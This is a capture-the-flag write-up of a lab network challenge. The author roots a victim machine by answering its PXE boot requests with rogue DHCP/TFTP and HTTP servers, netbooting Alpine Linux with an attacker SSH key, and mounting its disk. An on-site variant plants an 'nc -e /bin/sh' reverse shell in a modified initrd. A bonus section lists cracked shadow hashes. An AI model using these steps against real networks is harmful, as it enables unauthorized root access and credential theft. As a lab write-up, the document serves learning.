Root My Neighbour (network, 300p, 2 solves)

description

network schema

You managed to take control of an exposed server on the internal network of SecurityExpertsCorp. Your mission is to retrieve the file /root/flag.txt from the server 192.168.0.2. This server is connected directly on the interface ens34 of the server you control. You can only reboot the targeted server by selecting it and clicking on the button "Redémarrer" (reboot).

Click on the button Access the course below to boot your virtual machines. The logins of the attacker VM are root:toor.

preface

There are two virtual machines - attacker and victim, both of which can be monitored (IP addreses, CPU & RAM usage) and managed (started, stopped, restarted, reverted to initial snapshot), but only attacker machine has noVNC access. It is running Debian. Unfortunately, due to keymap mess, it was a pain to work with, so all the work was done via reverse nc shell.

Scanning victim with nmap revealed only single open port - 80/tcp - running apache 2.4.25 web server on Debian with a default webpage. Launching gobuster with different wordlists against it wasn't fruitful, so a different approach should be taken. To check if something interesting happens durring reboot, tcpdump was launched on attacker and victim was rebooted. Sure enough, there were BOOTP/DHCP requests on network coming from victim.

# tcpdump -i ens34 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens34, link-type EN10MB (Ethernet), capture size 262144 bytes
23:41:02.245983 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:50:56:b5:6a:72, length 548
23:41:04.334467 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:50:56:b5:6a:72, length 548
23:41:08.398656 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:50:56:b5:6a:72, length 548
23:41:16.472410 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:50:56:b5:6a:72, length 548

At this point, there were several ideas how to proceed, e.g., DHCP client shellshock vulnerability or specific DHCP client vulnerabilities. But after a further research (running tcpdump with -v option) and deduction (victim doesn't receive any DHCP reply, jet still has a static IP of 192.168.0.2, so it is not a OS-level DHCP request), it became clear that what's happening is a simple PXE (Preboot eXecution Environment) network boot.

# tcpdump -i ens34 -n -v
(..)
            Vendor-Class Option 60, length 32: "PXEClient:Arch:00000:UNDI:002001"

Therefore a solution would be to boot a network image, that can be remotely accessed (e.g., via ssh), mounting a local disk and reading the flag. After some trial-and-error (read more in on-site solution at bottom) trying out different netboot images, due to small amount of memory (256MB), it was chosen to boot Alpine Linux. Relevant documentation, - https://wiki.debian.org/PXEBootInstall (for setting up DHCP/TFTP for PXE boot), https://wiki.syslinux.org/...PXELINUX (for PXELINUX boot) and https://wiki.alpinelinux.org/wiki/PXE_boot (for Alpine Linux's network boot configuration settings).

solution

Install dnsmasq for DHCP and TFTP servers, and nginx for HTTP server.

# apt-get -y install dnsmasq nginx

Create directory for serving files via TFTP. Configure and restart dnsmasq. Only single IP will be provided via DHCP - 192.168.0.2.

# mkdir -p /srv/tftp
# cat << EOF > /etc/dnsmasq.conf
interface=ens34
dhcp-range=192.168.0.2,192.168.0.2,255.255.255.0,1h
dhcp-boot=pxelinux.0
enable-tftp
tftp-root=/srv/tftp
EOF
# systemctl restart dnsmasq

Download syslinux and extract required files for PXE network boot - pxelinux.0 and ldlinux.c32 (both served via TFTP).

# cd /srv/tftp/
# wget https://mirrors.edge.kernel.org/pub/linux/utils/boot/syslinux/syslinux-6.03.tar.gz
# tar -vtf syslinux-6.03.tar.gz | grep "/pxelinux.0\|/ldlinux.c32"
-rwxrwxr-x hpa/hpa      122308 2014-10-06 18:29 syslinux-6.03/bios/com32/elflink/ldlinux/ldlinux.c32
-rw-rw-r-- hpa/hpa       46909 2014-10-06 18:29 syslinux-6.03/bios/core/pxelinux.0
# tar --strip-components 3 -xvzf syslinux-6.03.tar.gz syslinux-6.03/bios/core/pxelinux.0
# tar --strip-components 5 -xvzf syslinux-6.03.tar.gz syslinux-6.03/bios/com32/elflink/ldlinux/ldlinux.c32

Download Alpine Linux's netboot kernel and initrd images (both served via TFTP). Images with suffix -virt instead of -vanilla was chosen, because these machines were running on virtual hardware (VMware).

# export MIRROR=http://dl-2.alpinelinux.org/alpine/latest-stable
# wget $MIRROR/releases/x86_64/netboot/vmlinuz-virt
# wget $MIRROR/releases/x86_64/netboot/initramfs-virt

Create default PXE script pxelinux.cfg/default (served via TFTP) to network boot Alpine Linux.

# mkdir -p pxelinux.cfg
# cat << EOF > pxelinux.cfg/default
DEFAULT alpine
LABEL alpine
KERNEL vmlinuz-virt
INITRD initramfs-virt
APPEND ip=dhcp alpine_repo=http://192.168.0.1/alpine modloop=http://192.168.0.1/modloop-virt ssh_key=http://192.168.0.1/id_rsa.pub
EOF

Download Alpine Linux's netboot kernel modules image (served via HTTP).

# cd /var/www/html
# wget $MIRROR/releases/x86_64/netboot/modloop-virt

Create ssh key (served via HTTP).

# ssh-keygen -t rsa -f /root/.ssh/id_rsa -N ""
# cp /root/.ssh/id_rsa.pub .

Configure and restart nginx to serve /alpine as a reverse proxy to Apline Linux's repository mirror.
P.S. Required files (~35 .apk and index) can also be served directly if one choses to, but using reverse proxy is easier.

# sed -i'' -e "s#^}#location /alpine { proxy_pass $MIRROR/main; }}#" /etc/nginx/sites-enabled/default
# systemctl restart nginx

Restart the victim and wait a minute. To follow progress, watch journalctl -f and tail -f /var/log/nginx/access.log.

# journalctl -f
(..)
Jun 00 15:02:41 debian dnsmasq-tftp[1673]: sent /srv/tftp/pxelinux.cfg/default to 192.168.0.2
Jun 00 15:02:41 debian dnsmasq-tftp[1673]: sent /srv/tftp/vmlinuz-virt to 192.168.0.2
Jun 00 15:02:41 debian dnsmasq-tftp[1673]: sent /srv/tftp/initramfs-virt to 192.168.0.2
# tail -f /var/log/nginx/access.log
(..)
192.168.0.2 - - [00/Jun/2019:15:03:17 +0200] "GET /alpine/x86_64/openssl-1.1.1c-r0.apk HTTP/1.1" 200 266716 "-" "libfetch/2.0"
192.168.0.2 - - [00/Jun/2019:15:03:17 +0200] "GET /modloop-virt HTTP/1.1" 200 10133504 "-" "Wget"
192.168.0.2 - - [00/Jun/2019:15:03:18 +0200] "GET /id_rsa.pub HTTP/1.1" 200 393 "-" "Wget"

ssh into victim.

# ssh -o StrictHostKeyChecking=no root@192.168.0.2
Warning: Permanently added '192.168.0.2' (ECDSA) to the list of known hosts.
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

localhost:~#

Check disk partitions, mount relevant partition and read the flag.

localhost:~# blkid
/dev/sda5: UUID="af4b6ee2-cfc4-430d-8bc3-a28b36bf7178" TYPE="swap"
/dev/sda1: UUID="7c644259-4cbc-4050-8c03-72cdaca6216c" TYPE="ext4"
/dev/loop/0: TYPE="squashfs"
/dev/loop0: TYPE="squashfs"
localhost:~# mount -t ext4 /dev/sda1 /mnt
localhost:~# cat /mnt/root/flag.txt
SuccessfullyRooted!

Flag is SuccessfullyRooted!.

bonus

/etc/shadow on victim contained two users with password set, both of which were successfuly cracked.

user:$6$nO9VosfI$/vmS3FeZxn9QTCqKug/aq9WERLrGtO20XdgCx2NJqr21kvjW6.P3SHJeqRhRJQnQSNmpA8/919Ri.bx7i8GRX.:password
root:$6$18Of6Phn$BxoDmOv7zYlgveYxKVkYFXGyBogtodD8CMMT0qSbuxxzz2/PMBUvyhIxAVER8xfEf/5K1.jlYwbpQOR9t8wOZ.:qazxswedc

solution (on-site)

Solving this task on-site, a quick and dirty approach was taken. For network boot, part of SystemRescueCD was used.

SystemRescueCD 5.3.2 (systemrescuecd-x86-5.3.2.iso) was downloaded and 4 files were extracted: pxelinux.0, rescue64, initram.igz and sysrcd.dat. All of those files were stored in /srv/tftp and PXE script pxelinux.cfg/default was prepared to boot SystemRescueCD.

DEFAULT sysresccd
	LABEL sysresccd
	MENU LABEL sysresccd
	KERNEL rescue64
	APPEND initrd=initram.igz dodhcp netboot=tftp://192.168.0.1/sysrcd.dat

This resulted in failure, as sysrcd.dat was never fully downloaded. Then http:// (insted on tftp://) was used as transport protocol, but it failed as well. Debugging this issue, revealed that victim doesn't have enough memory to load full sysrcd.dat (~518MB). It only had only ~256MB.

Idea was to modify initrd archive (initram.igz), to launch reverse shell, before trying to load sysrcd.dat.

Extract initram.igz.

# mkdir /tmp/initram
# cd /tmp/initram
# fakeroot
# cat /srv/tftp/initram.igz | xz -d | cpio -id

Add statically compiled nc binary to bin/nc.

Modify init script, just before launching stage1, to initiate reverse shell to attacker port 1234.

sysresccd_stage1() # find sysrcd.dat and put it in ${BOOTPATH}
{
	/bin/nc -e /bin/sh 192.168.0.1 1234
	case "${STAGE1}" in
(..)

Repack initram.igz.

# find . | cpio -H newc -o | xz --check=crc32 --x86 --lzma2 > /srv/tftp/initram.igz

Listen on 1234 port, reboot victim and wait for reverse shell.

# nc -vlp 1234
listening on [any] 1234 ...
192.168.0.2: inverse host lookup failed: Unknown host
connect to [192.168.0.1] from (UNKNOWN) [192.168.0.2] 56786
id
uid=0 gid=0(root)

Now there is another problem. Local disk is not recognized (no /dev/sda*), as there are no relevant kernel drivers in initram.igz. Though, this is solved easily. Making educated guess, that victim is similar to attacker, same disk driver vmw_pvscsi should be loaded. It was extracted from SystemResuceCD iso, then transferred to victim via nc, loaded (insmod vmw_pvscsi.ko) and /dev/sda* showed up.

After that, mount the partition and read the flag.

# mount /dev/sda1 /mnt
# cat /mnt/root/flag.txt
SuccessfullyRooted!